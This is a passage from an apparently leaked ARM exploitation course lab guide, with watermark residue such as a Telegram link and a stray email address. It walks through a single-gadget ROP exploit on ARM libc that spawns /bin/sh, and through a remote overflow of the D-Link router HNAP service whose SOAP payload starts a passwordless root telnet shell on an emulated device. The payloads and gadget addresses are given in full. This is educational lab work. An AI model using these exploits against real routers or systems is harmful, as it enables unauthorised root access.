If we run ls -l on the /lib/arm-linux-gnueabihf/libc.so.6 dependency, we see that this file is just a symbolic link to
another file, libc-2.31.so found in the same directory. Therefore, we will need to look for pop instructions in /lib/arm-
linux-gnueabihf/libc-2.31.so .

nemo@mako:~/labs/rop$ file /lib/arm-linux-gnueabihf/libc-2.31.so


/lib/arm-linux-gnueabihf/libc-2.31.so: ELF 32-bit LSB shared object, ARM, EABI5 version 1 (GNU/Linux),
dynamically linked, interpreter /lib/ld-linux-armhf.so.3,

micede1865@wii999_com
BuildID[sha1]=7f9588157c43de02a089d766fe7cc1a0fa70ed45, for GNU/Linux 3.2.0, stripped

Since libc will be available in our process' memory space at runtime, finding rop gadgets in this shared object is a viable
option. Let's check this file for pop instructions.

Be prepared for a lot of output.

24356915
objdump -d /lib/arm-linux-gnueabihf/libc-2.31.so | grep pop

We can pipe this output to wc -l which will count the number of lines in our output.

nemo@mako:~/labs/rop$ objdump -d /lib/arm-linux-gnueabihf/libc-2.31.so | grep -i pop | wc -l


1811

Paul Erwin
So, we have 1,811 pop instructions in libc to work with. How do we choose which one to use?

Let's go back to our goal.

• Get r0 to point to "/bin/sh"

• Call the system function

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
We need to get a pointer in r0 and then call system. Because of the stack overflow, we control the stack, so we control
what gets popped into the registers.

 Think about it. Based on what we want to accomplish, how can we do this with just 1 instruction? 

Let's search for a 'pop' instruction that has both r0 and pc in it!

nemo@mako:~/labs/rop$ objdump -d
5f3fc: e8bd8011 pop {r0, r4, pc}
live
/lib/arm-linux-gnueabihf/libc-2.31.so | grep pop | grep r0 | grep pc

c0404: bdbd pop {r0, r2, r3, r4, r5, r7, pc}
c0488: bd39 pop {r0, r3, r4, r5, pc}

Boom! Here we grepped for pop, r0, and pc.

116 © Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


We could use any of these, but we typically want to minimize the size of our exploit payload, so let's go with the smallest
one. We will call this gadget1 .

09b91222e5d2d3d668cf8e52ec5d35ba
5f3fc: pop {r0, r4, pc}

 Warning

0x5f3fc is not the address of gadget1. This is the offset of gadget1 from the base of libc. We show how to find the address by
adding this offset to the base of libc in the "Finding the address of gadget1" section below.

micede1865@wii999_com
If we control the data on the stack, this single instruction will:

• populate r0

• populate r4 (not needed)

• populate pc (redirect execution)

24356915
If we can find "/bin/sh" in memory, we could place the address of the string on our stack so that it gets popped into the r0
register. We will call the address that points to the beginning of this string, binstr_addr .

A value will also be popped into r4, but we don't really care because we don't really need that register and it won't disrupt
what we are trying to do. We will just use "CCCC" or "\x43\x43\x43\x43" as a placeholder.

Lastly, we place the address for the system function from libc on the stack so that it will get popped into pc when our
pop {r0, r4, pc} instruction is executed. Paul Erwin
Putting this all together, our stack will look like this:

stack

...

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
AAAA

AAAA

gadget1

binstr_addr

CCCC

system_addr
live
Let's review what will happen here. Like our previous buffer overflow exploits, we will overflow the saved lr with gadget1.
This is the first thing we want to execute.

© Hungry Hackers, LLC 117


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Once gadget1 is popped off, the top of the stack now looks like this:

stack

09b91222e5d2d3d668cf8e52ec5d35ba
binstr_addr

CCCC

system_addr

Now, when the gadget1 instruction executes...

micede1865@wii999_com
pop {r0, r4, pc}

• the binstr_addr value gets popped into r0

• CCCC gets popped into r4 (we don't care)

r0=binstr_addr

r4=43434343
24356915
r0 holds the address of the "/bin/sh" string which is what we need for the call to the system function.

Finally, in the same instruction, system gets popped into pc.

Paul Erwin
system("/bin/sh") gets executed and we get a shell!

Finding the addresses we need

We need to find the address of our rop gadget, system and the address of the "/bin/sh" string.

Since we are not using ASLR at this time, the address layout will be the same every time the program is ran. This means
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
that these locations will be the same every time.

We will find the addresses we need using gdb. In the Memory Leak lab, we will show a different technique.

Finding system

live
If you have exited out of gdb, open it back up with rop_target.

nemo@mako:~/labs/rop$ gdb rop_target

GNU gdb (Ubuntu 9.2-0ubuntu1~20.04) 9.2


Copyright (C) 2020 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.

118 © Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "arm-linux-gnueabihf".
Type "show configuration" for configuration details.

09b91222e5d2d3d668cf8e52ec5d35ba
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".


Type "apropos word" to search for commands related to "word"...
Reading symbols from rop_target...
(No debugging symbols found in rop_target)
(gdb)
micede1865@wii999_com
Set a breakpoint in main and run the program.

 Note

24356915
Don't forget the ctrl-c if your program doesn't reach the breakpoint after you start it with run .

(gdb) b main
Breakpoint 1 at 0x9b0016e
(gdb) run
Starting program: /home/nemo/labs/rop/rop_target
^C
Program received signal SIGINT, Interrupt.
Paul Erwin
0xb6fe12d8 in ?? () from /lib/ld-linux-armhf.so.3
(gdb) c
Continuing.

Breakpoint 1, 0x09f0016e in main ()


(gdb)

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
We did this to ensure that we are at a point where the libc shared object has been loaded into memory. We want to find
the address of the system function in libc, since this function allows us to run an arbitrary command on the target.

To find the address of system , do the following.

(gdb) print system


$1 = {int (const char *)} 0xb6f09990 <__libc_system>
(gdb)

live
Now, this can be tricky because this is actually a THUMB instruction. We can verify this, by looking at the next few
instructions starting with the result, 0xb6f09990.

© Hungry Hackers, LLC 119


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


 Note

The x/5i <address> instruction will examine (x) 5 instructions (i) starting at "address".

09b91222e5d2d3d668cf8e52ec5d35ba
(gdb) x/5i 0xb6f09990
0xb6f09990 <__libc_system>: cbz r0, 0xb6f09994 <__libc_system+4>
0xb6f09992 <__libc_system+2>: b.n 0xb6f09538 <do_system>
0xb6f09994 <__libc_system+4>: ldr r0, [pc, #16] ; (0xb6f099a8 <__libc_system+24>)
0xb6f09996 <__libc_system+6>: push {r3, lr}

micede1865@wii999_com
If you look at the first column, you will notice that each of these instructions are 2 bytes. This tells us they are THUMB
instructions.

Remember, that when you jump to thumb instructions, you have to add +1 to the address. So, for the system address, we
will use 0xb6f09991.

This will be what we called system_addr in our exploit.

Finding "/bin/sh"
24356915
The "/bin/sh" string can also be found in libc. To verify this we can run strings on the .so file and grep for bin.

nemo@mako:~/labs/rop$ strings /lib/arm-linux-gnueabihf/libc-2.31.so | grep bin


bindtextdomain
bindresvport
bind
_nl_domain_bindings
Paul Erwin
bind_textdomain_codeset
/bin/sh
corrupted size vs. prev_size in fastbins
invalid fastbin entry (free)
malloc(): smallbin double linked list corrupted

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
malloc(): largebin double linked list corrupted (nextsize)
malloc(): largebin double linked list corrupted (bk)
/bin:/usr/bin
/bin/csh
/etc/bindresvport.blacklist

This string should be loaded in our address space at runtime, so we should be able to find it in gdb.

Narrowing our search to just libc


live
We can narrow our search for "/bin/sh" by only searching the memory used by libc in our target process.

While still at our breakpoint in the main function, run the info proc mappings command in gdb.

120 © Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


(gdb) info proc mappings
process 2781
Mapped address spaces:

09b91222e5d2d3d668cf8e52ec5d35ba
Start Addr
0x400000
0x9f00000
End Addr
0x401000
0x9f01000
Size
0x1000
0x1000
Offset
0x0
0x10000
objfile
/home/nemo/labs/rop/rop_target
/home/nemo/labs/rop/rop_target
0x9f10000 0x9f11000 0x1000 0x10000 /home/nemo/labs/rop/rop_target
0x9f11000 0x9f12000 0x1000 0x11000 /home/nemo/labs/rop/rop_target
0xb6ed7000 0xb6fc0000 0xe9000 0x0 /usr/lib/arm-linux-gnueabihf/libc-2.31.so
0xb6fc0000 0xb6fcf000 0xf000 0xe9000 /usr/lib/arm-linux-gnueabihf/libc-2.31.so
0xb6fcf000 0xb6fd1000 0x2000 0xe8000 /usr/lib/arm-linux-gnueabihf/libc-2.31.so

micede1865@wii999_com
0xb6fd1000
0xb6fd3000
0xb6fd5000
0xb6fd3000
0xb6fd5000
0xb6fee000
0x2000
0x2000
0x19000
0xea000
0x0
0x0
/usr/lib/arm-linux-gnueabihf/libc-2.31.so

/usr/lib/arm-linux-gnueabihf/ld-2.31.so
0xb6ff9000 0xb6ffb000 0x2000 0x0
0xb6ffb000 0xb6ffc000 0x1000 0x0 [sigpage]
0xb6ffc000 0xb6ffd000 0x1000 0x0 [vvar]
0xb6ffd000 0xb6ffe000 0x1000 0x0 [vdso]
0xb6ffe000 0xb6fff000 0x1000 0x19000 /usr/lib/arm-linux-gnueabihf/ld-2.31.so
0xb6fff000 0xb7000000 0x1000 0x1a000 /usr/lib/arm-linux-gnueabihf/ld-2.31.so
0xbefdf000
0xffff0000
(gdb)
0xbf000000
0xffff1000
0x21000
0x1000
24356915 0x0
0x0
[stack]
[vectors]

This command shows how different sections are mapped into the running process memory. We see multiple entries for
libc (/usr/lib/arm-linux-gnueabihf/libc-2.31.so).

0xb6ed7000
0xb6fc0000
0xb6fcf000
0xb6fc0000
0xb6fcf000
0xb6fd1000
0xe9000
0xf000
0x2000
Paul Erwin 0x0
0xe9000
0xe8000
/usr/lib/arm-linux-gnueabihf/libc-2.31.so
/usr/lib/arm-linux-gnueabihf/libc-2.31.so
/usr/lib/arm-linux-gnueabihf/libc-2.31.so
0xb6fd1000 0xb6fd3000 0x2000 0xea000 /usr/lib/arm-linux-gnueabihf/libc-2.31.so

Let's start with the first section of libc that is loaded at address 0xb6ed7000 and ends at address 0xb6fc0000. We can do
this using gdb's (wonky) find command. The format for this command is: find , , 's', 't', 'r', 'i', 'n', 'g'

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
See help find in gdb for some confusing instructions.

(gdb) find 0xb6ed7000, 0xb6fc0000, '/', 'b', 'i', 'n', '/', 's', 'h'
0xb6fb734c
1 pattern found.

We can verify this with the x/s 0xb6fb734c command.

(gdb) x/s 0xb6fb734c


live
0xb6fb734c: "/bin/sh"

The address for binstr_addr in the exploit will be 0xb6fb734c .

© Hungry Hackers, LLC 121


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Finding the address of gadget1

When we found gadget1 in libc using objdump, we were given only the offset. This is because the base address of libc is

09b91222e5d2d3d668cf8e52ec5d35ba
not determined until process runtime. The objdump tool uses 0 as a base.

The results of our objdump -d /lib/arm-linux-gnueabihf/libc-2.31.so | grep pop | grep r0 | grep pc were:

5f3fc: pop {r0, r4, pc}

This tells us that the gadget we are looking for is at offset +0x5f3fc from the base of libc. Using the info proc mappings

micede1865@wii999_com
command above, we saw that the base of libc was 0xb6ed7000.

Python 3.8.5 (default, Jan 27 2021, 15:41:15)


[GCC 9.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> hex(0xb6ed7000+0x5f3fc)
'0xb6f363fc'

24356915
The address for gadget1 should be 0xb6f363fc.

Let's check this in gdb to verify that we see a pop {r0, r4, pc} instruction.

(gdb) x/10i 0xb6f363fc


0xb6f363fc: strh r1, [r2, #0]
0xb6f363fe: ldmia.w sp!, {r1}
0xb6f36402: b.n 0xb6f36abe
0xb6f36404: adds r0, #1
Paul Erwin
If we try to look at this instruction, gdb tries to incorrectly show it as a THUMB instruction. Notice how each address is
incrementing by only 2 bytes.

We can force gdb to show this instruction as arm using the arm force-mode setting. By default this is set to auto .

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
(gdb) show arm force-mode
The current execution mode assumed (even when symbols are available) is "auto".

Set this to arm .

(gdb) set arm force-mode arm

Ask gdb to display the instruction again.


live
(gdb) x/5i 0xb6f363fc
0xb6f363fc: pop {r0, r4, pc}
0xb6f36400: cmp r12, #2
0xb6f36404: ldrbgt r3, [r1, #-1]!

122 © Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


0xb6f36408: ldrbge r4, [r1, #-1]!
0xb6f3640c: ldrb lr, [r1, #-1]!

Now we get the instruction we expected, and we see gadget1 correctly at the expected address. Don't forget to change

09b91222e5d2d3d668cf8e52ec5d35ba
this setting back to auto .

(gdb) set arm force-mode auto

Our stack

micede1865@wii999_com
When we throw our exploit, the stack should look like this.

stack

...

AAAA

AAAA

0xb6f363fc (gadget1, should overwrite saved lr)


24356915
0xb6fb734c (binstr_addr)

CCCC

0xb6f09991 (system_addr)

Paul Erwin
 Try it.

Try plugging in these values and see if you can get a shell while in the debugger.

• Don't forget to enter the address bytes in reverse order since the system is little endian.

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
• Don't forget your A's.

Exploitation via a single rop gadget

(gdb) run $(python2 -c 'print "A"*68 + "\xfc\x63\xf3\xb6" + "\x4c\x73\xfb\xb6" + "CCCC" +


"\x91\x99\xf0\xb6"')
live
Starting program: /home/nemo/labs/rop/rop_target $(python2 -c 'print "A"*68 + "\xfc\x63\xf3\xb6" +
"\x4c\x73\xfb\xb6" + "CCCC" + "\x91\x99\xf0\xb6"')
^C
Program received signal SIGINT, Interrupt.
0xb6fe12b8 in _dl_debug_state () from /lib/ld-linux-armhf.so.3
(gdb) c
Continuing.

© Hungry Hackers, LLC 123


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


[Detaching after vfork from child process 2602]
$

The same exploit used in the debugger should work from the command line.

09b91222e5d2d3d668cf8e52ec5d35ba
nemo@mako:~/labs/rop$ ./rop_target $(python2 -c 'print "A"*68 + "\xfc\x63\xf3\xb6" +
"\x4c\x73\xfb\xb6" + "CCCC" + "\x91\x99\xf0\xb6"')
$

Summary

micede1865@wii999_com
In this lab we covered exploitation via a single rop gadget. Additional gadgets can be linked together and executed in
sequence using what's known as a rop chain. Rop can be an effective way to gain further access when we cannot deliver
executable code.

In this example we executed a shell, but rop can also be used to do things like disable memory protections that would
allow us to jump to and execute our own shellcode.

ROP Challenge
24356915
Use the following rop gadget from libc in your exploit. You will need at least one other gadget, but
you are required to use this one.

4b232: 4628 mov r0, r5


4b234:
4b236:
b005
bdf0
add
pop
Paul Erwin
sp, #20
{r4, r5, r6, r7, pc}

Challenge Answer Key

Mprotect Challenge

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
Create a rop chain that calls mprotect and sets the stack permissions so that they are executable, then jump to and
execute your shellcode.

 Note

live
This is an advanced challenge that pushes beyond what we have covered so far in class and is intended to be used as homework. It
has been included since it represents the natural progression of how we can use rop in a real world scenario.

Challenge Answer Key

124 © Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Lab 10: Dlink Exploit

09b91222e5d2d3d668cf8e52ec5d35ba
Background

In November 2016, Pedro Ribeiro disclosed a remote buffer overflow in the hnap process on Dlink routers. The overflow is
due to the improper implementation of strncpy with no bounds checks on user-provided input. An attacker can write past
a local stack buffer and overwrite the saved lr, giving them control of execution when the function returns.

micede1865@wii999_com
Hnap stands for Home Network Administration Protocol and on the target router, this runs in a separate process that gets
called from the httpd (parent) process.

Objectives

• Starting up an emulated router

24356915
• Launching a remote buffer overflow exploit from the hammerhead vm

• (Optional) observe a crash in the child process

• (Optional) step through the memory corruption in the child process and observe how we gain control of execution via
a vulnerable implementation of strncpy

Lab Preparation
Paul Erwin
 Note

This lab will be done in the dogfish vm.

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
Accessing the dogfish vm

• Login to the hammerhead virtual machine using the credentials below.

• User: nemo

• Password: nemo

live
• Next, to get a command prompt, open up the Terminator application from the toolbar on the left. It is a small icon
with 4 squares.

• While in the terminator window console, navigate to the ~/qemu/dogfish folder.

• Use the command sudo start_dogfish.sh to start the dogfish virtual machine.

• When prompted, use the password: nemo

© Hungry Hackers, LLC 125


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


nemo@hammerhead:~$ cd qemu/dogfish

nemo@hammerhead:~/qemu/dogfish$ sudo ./start_dogfish.sh


[sudo] password for nemo:

09b91222e5d2d3d668cf8e52ec5d35ba
• There will be a lot of activity on the screen after issuing this command. You should see what looks like a normal linux
startup ending with a login prompt.

...
[ OK ] Started System Logging Service.
[ OK ] Finished Discard unused bl…n filesystems from /etc/fstab.
[ OK
micede1865@wii999_com
] Finished Availability of block devices.

Ubuntu 20.04.2 LTS dogfish ttyAMA0

dogfish login:

• The best way to connect to the dogfish vm is through ssh. Open a new terminal session tab by right clicking in the
Terminator window and click Open Tab or you can use the shortcut keys: ctrl + shift + t . You should be able to
24356915
switch between tabs by clicking the names at the top of the Terminator window.

• Next, ssh to the dogfish vm.

• Use the credentials nemo/nemo to login via ssh.

nemo@hammerhead:~/qemu/dogfish$ ssh dogfish


nemo@192.168.2.20's password:
Last login: Mon Mar 8 14:55:30 2021
nemo@dogfish:~$
Paul Erwin
If you get to this prompt you have successfully logged into the ARM (emulated) virtual machine. You are now ready to
start the lab.

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
Starting up the emulated dlink router

Start the launch_dlink.sh script and enter nemo for the password when prompted. You should see the nvram scroll across
the screen and eventually see a busybox prompt as shown below.

nemo@dogfish:~$ ./launch_dlink.sh
[sudo] password for nemo:

... live
(lots of nvram settings will scroll by)

...

BusyBox v1.7.2 (2019-10-19 12:12:12 CST) built-in shell (ash)

126 © Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Enter 'help' for a list of built-in commands.

09b91222e5d2d3d668cf8e52ec5d35ba
You will also see log messages kick off in the other window that was used to startup the dog sh vm. These messages are

fi
from the dlink device booting up. This screen will continue to display messages throughout the duration of the lab.

 Note

Since we did not emulate every single piece of hardware (ie wireless adapters, usb, etc), there will be lots and lots of errors.

micede1865@wii999_com
The ip address for the dlink router's web interface is 192.168.2.22. After the boot process runs for a while, we can open up
refox in our hammerhead vm and browse to this webpage. If we have successfully started up the emulated router, we
fi
should see a login prompt.

 Warning

24356915
If you get a "Secure Connection Failed" error when trying to access the dlink interface, you have been redirected to the https page.
This means that the dlink router is still starting up its web services. Give it some more time and then try browsing to http://
192.168.2.22. Alternatively, you can follow the prompts in the web browser and connect via https.

Paul Erwin

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

© Hungry Hackers, LLC 127


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021

09b91222e5d2d3d668cf8e52ec5d35ba

micede1865@wii999_com

24356915

The hnap vulnerability


Paul Erwin
The hnap vulnerability exists in the function shown below.

 Note

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
This can be observed in ghidra by analyzing the cgibin binary and going to the address 0x18e2c and looking at the decompiled
output. The cgibin binary uses "hnap" as an alias when it is started from httpd. This means that the actual binary is named cgibin,
but when you look at the process with the ps command you will see that the process is called "hnap".

Opening this in ghidra is optional for this lab. See the Introduction to Ghidra lab if you are not familiar with using it, but would like to
view the vulnerable function on your own.

live
The names of the function and variables will not be the same if you look at this on your own. They have been added for clarity in the
lab. You can rename variables and the function with the lower-case L hotkey in ghidra.

128 © Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021

09b91222e5d2d3d668cf8e52ec5d35ba

micede1865@wii999_com

24356915

Paul Erwin
Here is the same output in text format which may be easier to see in the lab guide.

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
char * parseSoapParameter_00018e2c(char *input,char *tag_name,char *dest)

{
char end_tag [1024];
char start_tag [1024];
char buffer [1024];
char *tag_data_len;
char *offset;
char *tag_data_offset;
int start_tag_len_plus_1;
size_t start_tag_len;
live
sprintf(start_tag,"<%s>",tag_name);
sprintf(end_tag,"</%s>",tag_name);
start_tag_len = strlen(start_tag);
start_tag_len_plus_1 = start_tag_len + 1;
offset = strstr(input,start_tag);

© Hungry Hackers, LLC 129


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


if (offset != (char *)0x0) {
tag_data_offset = offset + start_tag_len;
offset = strstr(tag_data_offset,end_tag);
if ((offset != (char *)0x0) &&

09b91222e5d2d3d668cf8e52ec5d35ba(tag_data_len = offset + -(int)tag_data_offset, -1 < (int)tag_data_len)) {


/* vulnerable strncpy */
strncpy(buffer,tag_data_offset,(size_t)tag_data_len);
buffer[(int)tag_data_len] = '\0';
offset = strcpy(dest,buffer);
}
}
return offset;
}

micede1865@wii999_com
The vulnerability occurs when our input that we send in a web request is copied into buffer, a local stack character array
that can only hold 1024 bytes.

strncpy(buffer,tag_data_offset,(size_t)tag_data_len);

 Note
24356915
The strncpy has a max value as the 3 rd parameter. However, the target process sets this max value based on the size of our input,
not the size of what the destination buffer can hold. See man strncpy from a command shell for more information.

Since there are no size checks prior to this strncpy, we are able to overflow the local buffer and gain control of the saved
lr.
Paul Erwin
Launching the exploit

In the exploit below, we use the "Captcha" field to overflow the target buffer.

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
 Note

We will throw the exploit from the hammerhead virtual machine.

Change into the ~/labs/dlink folder in the hammerhead vm.

nemo@hammerhead:~$ cd ~/labs/dlink/
nemo@hammerhead:~/labs/dlink$ live
The payload in the exploit.py file will start a telnet service listening on port 23 on the emulated dlink system. Connecting
to the system via telnet will essentially give us a shell with root access. Since we are starting the telnet daemon (telnetd)
with no parameters, there will be no password.

130 © Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Before launching the exploit, try to connect to the emulated dlink router via telnet. The ip for the emulated dlink system is
192.168.2.22.

09b91222e5d2d3d668cf8e52ec5d35ba
nemo@hammerhead:~/labs/dlink$ telnet 192.168.2.22
Trying 192.168.2.22...
telnet: Unable to connect to remote host: Connection refused

Now, launch the exploit against the dlink router from the hammerhead vm.

nemo@hammerhead:~/labs/dlink$ python exploit.py

micede1865@wii999_com
[+] Sending to 192.168.2.22 on port 80:

<?xml version="1.0" encoding="utf-8"?>


<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/
XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<Login xmlns="http://purenetworks.com/HNAP1/">
<Action>something</Action>
<Username>Admin</Username>
<LoginPassword></LoginPassword> 24356915
<Captcha>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
usr/sbin/telnetd&</Captcha>
</Login>
</soap:Body>
</soap:Envelope>

Paul Erwin
You can see our command (/usr/sbin/telnetd&) following the oversized buffer. If the exploit was successful, you should
now be able to connect to the dlink system via telnet.

nemo@hammerhead:~/labs/dlink$ telnet 192.168.2.22


Trying 192.168.2.22...
Connected to 192.168.2.22.
Escape character is '^]'.

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
BusyBox v1.14.1 (2015-04-19 15:55:54 CST) built-in shell (msh)
Enter 'help' for a list of built-in commands.

Success!!!
live
(Optional) Debugging the hnap process

From the dogfish vm, attach to the httpd process with gdb. Find the process id using the ps aux command and grepping
for httpd. Don't forget to use sudo when executing gdb.

© Hungry Hackers, LLC 131


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


 Warning

In the following sections, you may notice that the hostname for the dogfish vm may be different from what you see in your output.

09b91222e5d2d3d668cf8e52ec5d35ba
The hostname changes to dlinkrouter and will be seen this way for any ssh sessions that happen after the emulated dlink router
has booted up. This change is not permanent and will be reset when the dogfish vm is rebooted. This happens with the netgear
router as well and is due to the hostname being set when the nvram is being processed.

nemo@hammerhead:~$ ssh dogfish


nemo@dogfish's password:
Last login: Sun Apr 25 17:54:36 2021
nemo@dlinkrouter:~$

micede1865@wii999_com
nemo@dogfish:~$ ps aux | grep httpd
root 5529 0.8 0.3 4736 3332 ? S 11:49 0:00 httpd -f /var/run/httpd.conf
nemo 5767 0.0 0.0 6764 560 pts/1 S+ 11:49 0:00 grep --color=auto httpd

nemo@dogfish:~$ sudo gdb --pid 5529


[sudo] password for nemo:
...
Attaching to process 5529 24356915
Reading symbols from /home/nemo/dlink_rootfs/sbin/httpd...
(No debugging symbols found in /home/nemo/dlink_rootfs/sbin/httpd)

warning: Could not load shared library symbols for 3 libraries, e.g. /lib/libcrypt.so.0.
Use the "info sharedlibrary" command to see the complete listing.
Do you need "set solib-search-path" or "set sysroot"?

Paul Erwin
warning: Unable to find dynamic linker breakpoint function.
GDB will be unable to debug shared library initializers
and track explicitly loaded dynamic code.
0xb6f77a6c in ?? ()
...
(gdb)

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
Set a breakpoint at the address 0xbbb8 and continue execution.

(gdb) b * 0xbbb8
Breakpoint 1 at 0xbbb8
(gdb) c

Some reverse engineering of the httpd binary was done to determine this breakpoint. At the address 0xbbb8, there is a

0000bbb8 bl FUN_000158b4
live
branch link to another function (0x000158b4) which is likely the "spawn" function.

The function at 0x000158b4 contains the string, "spawn: failed to create child process". Based on string patterns seen
elsewhere in the binary, the string is likely the function name followed by a colon. The "spawn" function is responsible for

132 © Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


starting a new child process. The calling function that the instruction at 0xbbb8 is in, is likely called "process_cgi" since it
contains the strings, "process_cgi: out of memory" and "process_cgi: %d".

09b91222e5d2d3d668cf8e52ec5d35ba
Debugging a crash in hnap

Now, from the hammerhead vm, let's execute the crash.py script.

nemo@hammerhead:~/labs/dlink$ python crash.py

[+] Sending to 192.168.2.22 on port 80:

micede1865@wii999_com
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/
XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<Login xmlns="http://purenetworks.com/HNAP1/">
<Action>something</Action>
<Username>Admin</Username>
<LoginPassword></LoginPassword>

24356915
<Captcha>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
usr/sbin/telnetd&</Captcha>
</Login>
</soap:Body>
</soap:Envelope>

We should hit the breakpoint at 0xbbb8 that resides in the process_cgi function and is calling the spawn function.

Breakpoint 1, 0x0000bbb8 in ?? ()
Paul Erwin
(gdb)

 Try it

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
While you're at this breakpoint, check out the registers and the arguments that will be passed to spawn. Below are some example
commands to try. Also, check some of the addresses that $r1 and $r2 point to.

i r
x/s $r0
x/10wx $r1
x/10wx $r2

live
We want to break here because we want to change a setting in gdb after we throw the exploit, but before we move on
from this breakpoint. We want to change the follow-fork-mode from parent to child.

Breakpoint 1, 0x0000bbb8 in ?? ()
(gdb) show follow-fork-mode
Debugger response to a program call of fork or vfork is "parent".

© Hungry Hackers, LLC 133


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


(gdb) set follow-fork-mode child
(gdb) show follow-fork-mode
Debugger response to a program call of fork or vfork is "child".

09b91222e5d2d3d668cf8e52ec5d35ba
 Note

Normally, if a child process gets created, gdb continues to debug the same, parent process. This is the default behavior.

This will cause gdb to detach from the parent process and attach to the child process (cgibin/hnap) automatically.

 Warning micede1865@wii999_com
The timing can be a little tricky here. If we change this setting too early, we may detach from gdb too soon and not follow the
correct process.

For the best results, don't interact with the web interface once you set this breakpoint. Just browsing to the page will trigger the
breakpoint prematurely. Set the breakpoint and then launch the exploit.py script from hammerhead.

24356915
Here we set follow-fork-mode to child and verify that it has been changed in gdb. At this point we are still in the httpd
process. Let's continue

(gdb) c
Continuing.

Paul Erwin
In the gdb window on dogfish, we should see something similar to the output below. (process ids will vary)

[Attaching after process 5529 fork to child process 7170]


[New inferior 2 (process 7170)]
[Detaching after fork from parent process 5529]
[Inferior 1 (process 5529) detached]
process 7170 is executing new program: /home/nemo/dlink_rootfs/htdocs/cgibin

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
warning: Unable to find dynamic linker breakpoint function.
GDB will be unable to debug shared library initializers
and track explicitly loaded dynamic code.

Thread 2.1 "hnap" received signal SIGSEGV, Segmentation fault.


[Switching to process 7170]
0x42424242 in ?? ()
(gdb)

live
From the gdb messages, we see that a new child process gets created with process id 7170. We also see that gdb
detaches from process 5529. At this point gdb is debugging the child process since we changed the follow-fork-mode
setting to child.

134 © Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


 Note

The process ids will likely be different on your system.

09b91222e5d2d3d668cf8e52ec5d35ba
We also see that we get a crash at 0x42424242. This is expected behavior when using the crash.py script. This overwrites
the saved lr, but does not jump to a valid code address.

 Note

micede1865@wii999_com
The new process is called "hnap". This is just an alias. The actual binary that gets executed is named "cgibin" and is found in the
htdocs folder in the emulated dlink environment.

Using the "!", you can execute shell commands while still in gdb. While still in gdb, try running the following command. You should
see a match for the hnap process matching with the process id that matches the "Switching to process X" in your gdb output.

